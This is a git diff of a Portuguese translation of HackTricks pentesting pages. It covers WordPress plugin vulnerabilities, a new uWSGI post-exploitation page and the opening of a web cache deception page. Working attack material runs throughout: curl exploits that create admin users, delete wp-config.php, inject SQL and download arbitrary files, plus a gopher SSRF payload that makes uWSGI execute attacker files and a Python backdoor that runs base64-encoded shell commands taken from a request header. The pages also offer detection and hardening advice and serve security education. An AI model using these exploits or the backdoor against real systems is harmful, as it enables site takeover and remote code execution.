escalonamento de privilégios não autenticado para admin ao criar um novo administrador via a rota REST core users. +- Exemplo de header: `X-Wcpay-Platform-Checkout-User: 1` (força o user ID 1, tipicamente a primeira conta de administrador). +- Rota explorada: `POST /wp-json/wp/v2/users` com um array de role elevado. PoC ```http @@ -393,30 +393,30 @@ Content-Length: 114 ``` Por que funciona -- O plugin mapeia um header controlado pelo cliente para o estado de autenticação e ignora as verificações de capability. -- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header. +- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e pula as verificações de capability. +- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do cabeçalho. Indicadores de sucesso esperados - HTTP 201 com um corpo JSON descrevendo o usuário criado. - Um novo usuário administrador visível em `wp-admin/users.php`. -Checklist de detecção +Lista de verificação de detecção -- Faça grep por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leiam headers customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Revise os registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de headers da requisição. -- Procure por usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de headers. +- Procurar por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de fornecedores que leem cabeçalhos personalizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Revisar registros de REST para callbacks privilegiados que não possuem verificações robustas de `permission_callback` e, em vez disso, dependem dos cabeçalhos da requisição. +- Procurar por usos das funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de manipuladores REST que são protegidos apenas por valores de cabeçalho. Endurecimento -- Nunca derive autenticação ou autorização de headers controlados pelo cliente. -- Se um reverse proxy precisar injetar identidade, encerre a confiança no proxy e remova cópias inbound (por exemplo, `unset X-Wcpay-Platform-Checkout-User` na borda), então passe um token assinado e verifique-o no servidor. -- Para rotas REST que executam ações privilegiadas, exija checagens `current_user_can()` e um `permission_callback` rigoroso (NÃO use `__return_true`). -- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” por header. +- Nunca derive autenticação ou autorização a partir de cabeçalhos controlados pelo cliente. +- Se um reverse proxy precisar injetar identidade, termine a confiança no proxy e remova cópias recebidas (por exemplo, `unset X-Wcpay-Platform-Checkout-User` na borda), então passe um token assinado e verifique-o server-side. +- Para rotas REST que executam ações privilegiadas, exija verificações `current_user_can()` e um `permission_callback` estrito (NÃO use `__return_true`). +- Prefira autenticação de primeira parte (cookies, application passwords, OAuth) em vez de “impersonation” via cabeçalhos. Referências: veja os links no final desta página para um caso público e uma análise mais ampla. -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### Exclusão arbitrária de arquivos sem autenticação via wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: @@ -424,7 +424,7 @@ WordPress themes and plugins frequently expose AJAX handlers through the `wp_aja 2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and 3. **Strict input sanitisation / validation**. -O tema multipurpose Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fontes* e acabou distribuindo o seguinte código (simplificado): +O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na *Remove Font Family* feature e acabou distribuindo o seguinte código (simplificado): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -443,27 +443,25 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Problemas introduzidos por este trecho: +- **Acesso não autenticado** – the `wp_ajax_nopriv_` hook is registered. +- **No nonce / capability check** – qualquer visitante pode acessar o endpoint. +- **Sem sanitização de caminho** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico traversal `../../`. -* **Unauthenticated access** – o hook `wp_ajax_nopriv_` está registrado. -* **No nonce / capability check** – qualquer visitante pode acessar o endpoint. -* **No path sanitisation** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`. +#### Exploração -#### Exploitation - -Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `/wp-content/uploads/`) enviando uma única requisição HTTP POST: +Um atacante pode deletar qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `/wp-content/uploads/`) enviando uma única requisição HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Porque `wp-config.php` fica fora de *uploads*, quatro sequências `../` são suficientes em uma instalação padrão. Excluir `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário administrador). +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para desativar plugins de segurança) ou regras `.htaccess`. +Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. #### Checklist de detecção -* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que invoque filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). * Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`). * Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`. @@ -487,16 +485,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Sempre** trate qualquer operação de escrita/exclusão em disco como privilegiada e verifique duas vezes: +> **Sempre** trate qualquer operação de escrita/remoção no disco como privilegiada e verifique duas vezes: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Muitos plugins implementam um recurso "view as role" ou alternância temporária de role salvando o(s) role(s) originais em user meta para que possam ser restaurados mais tarde. Se o caminho de restauração depende apenas de request parameters (e.g., `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma vertical privilege escalation. +Muitos plugins implementam uma funcionalidade "view as role" ou troca temporária de role salvando o(s) role(s) original(is) em user meta para que possam ser restaurados depois. Se o caminho de restauração depender apenas de request parameters (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso pode se tornar uma vertical privilege escalation. -Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava roles com base em `reset-for=` se o username aparecia em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem um `current_user_can()` nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos do user meta `_asenha_view_admin_as_original_roles`: +Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O branch de reset restaurava roles baseado em `reset-for=` se o username aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem uma checagem `current_user_can()` nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos em user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -515,13 +513,13 @@ Por que é explorável - Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no servidor. - Se um usuário anteriormente teve privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset. -- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada). +- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada). Pré-requisitos do ataque - Versão vulnerável do plugin com o recurso habilitado. -- A conta alvo tem uma role de alto privilégio obsoleta armazenada em user meta de uso anterior. -- Qualquer sessão autenticada; ausência de nonce/capability no fluxo de reset. +- A conta alvo tem um papel de alto privilégio antigo armazenado em user meta por uso anterior. +- Qualquer sessão autenticada; falta de nonce/capability no fluxo de reset. Exploração (exemplo) ```bash @@ -531,36 +529,36 @@ Exploração (exemplo) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios de forma efetiva. +Em instalações vulneráveis isto remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), efetivamente escalando privilégios. Detection checklist -- Procure por recursos de troca de função que persistam “funções originais” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`). -- Identifique paths de reset/restore que: -- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`. -- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. -- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator. +- Procure por recursos de troca de função que persistam as “funções originais” em meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`). +- Identifique caminhos de redefinição/restauração que: +- Leia nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`. +- Modifique funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. +- Autorize com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator. Hardening -- Aplique verificações de capacidade em todos os ramos que alteram estado (por exemplo, `current_user_can('manage_options')` ou mais restrito). +- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter). - Exija nonces para todas as mutações de função/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`. -- Nunca confie em nomes de usuário fornecidos na requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita. -- Invalide o estado das “funções originais” nas atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados: +- Nunca confie em nomes de usuário fornecidos pela requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita. +- Invalide o estado de “funções originais” em atualizações de perfil/função para evitar restauração de privilégios elevados obsoletos: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- Considere armazenar o mínimo de estado e usar tokens com tempo limitado e protegidos por capability para trocas temporárias de função. +- Considere armazenar estado mínimo e usar tokens com tempo limitado e protegidos por capability para trocas de papel temporárias. --- -### Escalada de privilégio não autenticada via troca de usuário confiável por cookie no init público (Service Finder “sf-booking”) +### Escalada de privilégios não autenticada via troca de usuário confiando em cookie no init público (Service Finder “sf-booking”) -Alguns plugins ligam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chamar `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário. +Alguns plugins conectam helpers de troca de usuário ao hook público `init` e derivam a identidade de um cookie controlado pelo cliente. Se o código chama `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário. -Padrão vulnerável típico (simplificado de Service Finder Bookings ≤ 6.1): +Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -591,9 +589,9 @@ wp_die('No original user found to switch back to.'); ``` Por que é explorável -- O hook público `init` torna o handler acessível por unauthenticated users (sem a proteção `is_user_logged_in()`). +- O hook público `init` torna o handler acessível por usuários não autenticados (sem a verificação `is_user_logged_in()`). - A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`). -- Uma chamada direta para `wp_set_auth_cookie($uid)` autentica o requisitante como esse usuário sem qualquer verificação de capability/nonce. +- Chamada direta para `wp_set_auth_cookie($uid)` autentica o requisitante como esse usuário sem quaisquer verificações de capability/nonce. Exploitation (unauthenticated) ```http @@ -605,32 +603,32 @@ Connection: close ``` --- -### Considerações de WAF para CVEs do WordPress/plugins +### Considerações de WAF para WordPress/plugin CVEs -WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda as rotas do WordPress e a semântica dos plugins. +WAFs genéricos de borda/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/auth específicos da aplicação que parecem tráfego benigno, a menos que o motor entenda as rotas do WordPress e a semântica dos plugins. Notas ofensivas -- Direcione endpoints específicos de plugins com payloads limpos: `admin-ajax.php?action=...`, `wp-json//`, manipuladores de arquivo personalizados, shortcodes. -- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação. -- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect. +- Aponte para endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Teste primeiro caminhos sem autenticação (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem ofuscação. +- Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Notas defensivas -- Não confie em assinaturas de WAF genéricas para proteger CVEs de plugins. Implemente patches virtuais específicos da vulnerabilidade na camada de aplicação ou atualize rapidamente. -- Prefira verificações de security positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos. +- Não confie em assinaturas genéricas de WAF para proteger plugin CVEs. Implemente virtual patches específicos por vulnerabilidade na camada de aplicação ou atualize rapidamente. +- Prefira verificações de positive-security no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos. ## Proteção do WordPress ### Atualizações regulares -Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php: +Certifique-se de que WordPress, plugins e temas estejam atualizados. Confirme também que a atualização automática está habilitada em wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Além disso, **instale apenas plugins e temas confiáveis do WordPress**. +Além disso, **apenas instale plugins e temas confiáveis do WordPress**. ### Plugins de Segurança @@ -642,11 +640,12 @@ Além disso, **instale apenas plugins e temas confiáveis do WordPress**. - Remova o usuário padrão **admin** - Use **senhas fortes** e **2FA** -- Revise periodicamente as **permissões** dos **usuários** -- **Limite as tentativas de login** para prevenir ataques Brute Force -- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de determinados endereços IP. +- Periodicamente **revise** as **permissões** dos usuários +- **Limite tentativas de login** para prevenir ataques de Brute Force +- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou a partir de certos endereços IP. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) + +### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2) O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`: ```php @@ -658,11 +657,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Problems introduzidos por este snippet: +Problemas introduzidos por este trecho: -1. **Entrada do utilizador não sanitizada** – `parentid` vem diretamente da requisição HTTP. -2. **Concatenação de strings dentro da cláusula WHERE** – ausência de `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – embora a ação seja executada através de `admin-post.php`, a única verificação em vigor é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode obter de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** – `parentid` vem diretamente da requisição HTTP. +2. **String concatenation inside the WHERE clause** – sem `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – embora a ação seja executada através de `admin-post.php`, a única verificação presente é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`. #### Exploração @@ -670,7 +669,7 @@ Problems introduzidos por este snippet: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Injete SQL arbitrário abusando de `parentid`: +2. Injete SQL arbitrário explorando `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -678,20 +677,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -A resposta revela o resultado da query injetada ou altera a base de dados, provando SQLi. +A resposta revela o resultado da query injetada ou altera o banco de dados, comprovando SQLi. -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Download Arbitrário de Arquivos sem Autenticação / Path Traversal (WP Job Portal <= 2.3.2) -Outra tarefa, **downloadcustomfile**, permitia a visitantes descarregar **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`: +Outra tarefa, **downloadcustomfile**, permitia que visitantes fizessem download de **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo. +`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo. -#### Exploração +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..d227b641c --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,169 @@ +# WSGI Post-Exploitation Tricks + +{{#include ../../banners/hacktricks-training.md}} + +## WSGI Overview + +Web Server Gateway Interface (WSGI) é uma especificação que descreve como um servidor web se comunica com aplicações web, e como aplicações web podem ser encadeadas para processar uma requisição. uWSGI é um dos servidores WSGI mais populares, frequentemente usado para servir aplicações web Python. + +## uWSGI Magic Variables Exploitation + +uWSGI fornece variáveis especiais "magic variables" que podem ser usadas para configurar dinamicamente o comportamento do servidor. Essas variáveis podem ser definidas através de cabeçalhos HTTP e podem levar a vulnerabilidades de segurança graves quando não validadas corretamente. + +### Key Exploitable Variables + +#### `UWSGI_FILE` - Arbitrary File Execution +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +Esta variável permite carregar e executar arquivos Python arbitrários como aplicações WSGI. Se um atacante puder controlar este parâmetro, ele pode obter Remote Code Execution (RCE). + +#### `UWSGI_SCRIPT` - Carregamento de Script +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +Carrega um script especificado como uma nova aplicação. Combinado com capacidades de upload ou escrita de arquivos, isso pode levar a RCE. + +#### `UWSGI_MODULE` e `UWSGI_CALLABLE` - Carregamento dinâmico de módulos +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +Esses parâmetros permitem carregar módulos Python arbitrários e chamar funções específicas dentro deles. + +#### `UWSGI_SETENV` - Manipulação de Variáveis de Ambiente +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +Pode ser usado para modificar variáveis de ambiente, potencialmente afetando o comportamento da aplicação ou carregando configurações maliciosas. + +#### `UWSGI_PYHOME` - Manipulação do Ambiente Python +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +Altera o ambiente virtual do Python, potencialmente carregando pacotes maliciosos ou diferentes intérpretes Python. + +#### `UWSGI_CHDIR` - Directory Traversal +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +Altera o diretório de trabalho antes de processar requisições, o que pode ser usado para ataques de path traversal. + +## SSRF + Gopher para + +### Vetor de Ataque + +Quando o uWSGI é acessível via SSRF (Server-Side Request Forgery), atacantes podem interagir com o socket interno do uWSGI para explorar magic variables. Isso é particularmente perigoso quando: + +1. A aplicação tem vulnerabilidades de SSRF +2. o uWSGI está rodando em uma porta/socket interno +3. A aplicação não valida corretamente magic variables + +O uWSGI é acessível devido ao SSRF porque o arquivo de configuração `uwsgi.ini` contém: `socket = 127.0.0.1:5000`, tornando-o acessível a partir da aplicação web via SSRF. + +### Exemplo de Exploração + +#### Passo 1: Criar Payload Malicioso +Primeiro, injete código Python em um arquivo acessível pelo servidor (gravação de arquivo dentro do servidor, a extensão do arquivo não importa): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` +#### Passo 2: Criar requisição do protocolo uWSGI +Use o protocolo Gopher para enviar pacotes uWSGI brutos: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` +Este payload: +- Conecta-se ao uWSGI na porta 5000 +- Define `UWSGI_FILE` para apontar para o arquivo malicioso +- Força o uWSGI a carregar e executar o código Python + +### Estrutura do Protocolo uWSGI + +O protocolo uWSGI usa um formato binário onde: +- Variáveis são codificadas como strings prefixadas por tamanho +- Cada variável possui: `[name_length][name][value_length][value]` +- O pacote começa com um cabeçalho contendo o tamanho total + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### File-based Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): +cmd = environ.get('HTTP_X_CMD', '') +if cmd: +result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) +response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" +else: +response = "Backdoor active" + +start_response('200 OK', [('Content-Type', 'text/plain')]) +return [response.encode()] +``` +Então use `UWSGI_FILE` para carregar este backdoor: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` +#### Environment-based Persistence +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` +### 2. Divulgação de Informações + +#### Despejo de Variáveis de Ambiente +```python +# env_dump.py +import os +import json + +def application(environ, start_response): +env_data = { +'os_environ': dict(os.environ), +'wsgi_environ': dict(environ) +} + +start_response('200 OK', [('Content-Type', 'application/json')]) +return [json.dumps(env_data, indent=2).encode()] +``` +#### Acesso ao Sistema de Arquivos +Use `UWSGI_CHDIR` combinado com file serving para acessar arquivos sensíveis: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` +### 3. Privilege Escalation + +#### Socket Manipulation +Se o uWSGI estiver em execução com privilégios elevados, atacantes podem manipular as permissões do socket: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` +#### Sobrescrita de Configuração +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` +## Referências + +- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) +- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index dff4c5a94..978ae4d72 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -4,109 +4,109 @@ ## A diferença -> **What is the difference between web cache poisoning and web cache deception?** +> **Qual é a diferença entre web cache poisoning e web cache deception?** > -> - Em **web cache poisoning**, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação. -> - Em **web cache deception**, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache. +> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. +> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. ## Cache Poisoning -Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar clientes a carregar recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitarem a página durante o período de contaminação do cache. +Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar os clientes a carregarem recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitam a página durante o período de contaminação do cache. A execução de um ataque de cache poisoning envolve vários passos: -1. **Identificação de parâmetros não incluídos na chave**: São parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar esses parâmetros é crucial, pois podem ser explorados para manipular o cache. -2. **Exploração dos parâmetros não incluídos na chave**: Depois de identificar esses parâmetros, o próximo passo é descobrir como abusá-los para modificar a resposta do servidor de forma a beneficiar o atacante. -3. **Garantir que a resposta envenenada seja armazenada no cache**: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada. +1. **Identification of Unkeyed Inputs**: Estes são parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar estes inputs é crucial, pois eles podem ser explorados para manipular o cache. +2. **Exploitation of the Unkeyed Inputs**: Após identificar os unkeyed inputs, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que favoreça o atacante. +3. **Ensuring the Poisoned Response is Cached**: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário acessando a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada. -### Descoberta: Verificar headers HTTP +### Discovery: Check HTTP headers -Normalmente, quando uma resposta foi **armazenada no cache** haverá um **header indicando isso**, você pode verificar quais headers deve observar neste post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Normalmente, quando uma resposta foi **stored in the cache** haverá um **header indicando isso**; você pode verificar quais cabeçalhos deve prestar atenção neste post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Descoberta: Cacheando códigos de erro +### Discovery: Caching error codes -Se você suspeita que a resposta está sendo armazenada em cache, você pode tentar **enviar requisições com um header inválido**, que deveria responder com **status code 400**. Em seguida, tente acessar a requisição normalmente e se a **resposta for um status code 400**, você sabe que está vulnerável (e você poderia até realizar um DoS). +Se você acha que a resposta está sendo armazenada em um cache, você pode tentar **enviar requisições com um header inválido**, que deveria ser respondido com um **código de status 400**. Depois tente acessar a requisição normalmente e, se a **resposta for um código de status 400**, você sabe que está vulnerável (e você poderia até realizar um DoS). -Você pode encontrar mais opções em: +You can find more options in: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -No entanto, note que **às vezes esses tipos de códigos de status não são cacheados**, portanto esse teste pode não ser confiável. +No entanto, note que **às vezes esse tipo de códigos de status não são cached**, então esse teste pode não ser confiável. -### Descoberta: Identificar e avaliar parâmetros não incluídos na chave +### Discovery: Identify and evaluate unkeyed inputs -Você pode usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **brute-force parameters and headers** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o header `X-Forwarded-For` para indicar ao cliente que carregue o script a partir daí: +Você pode usar [**Param 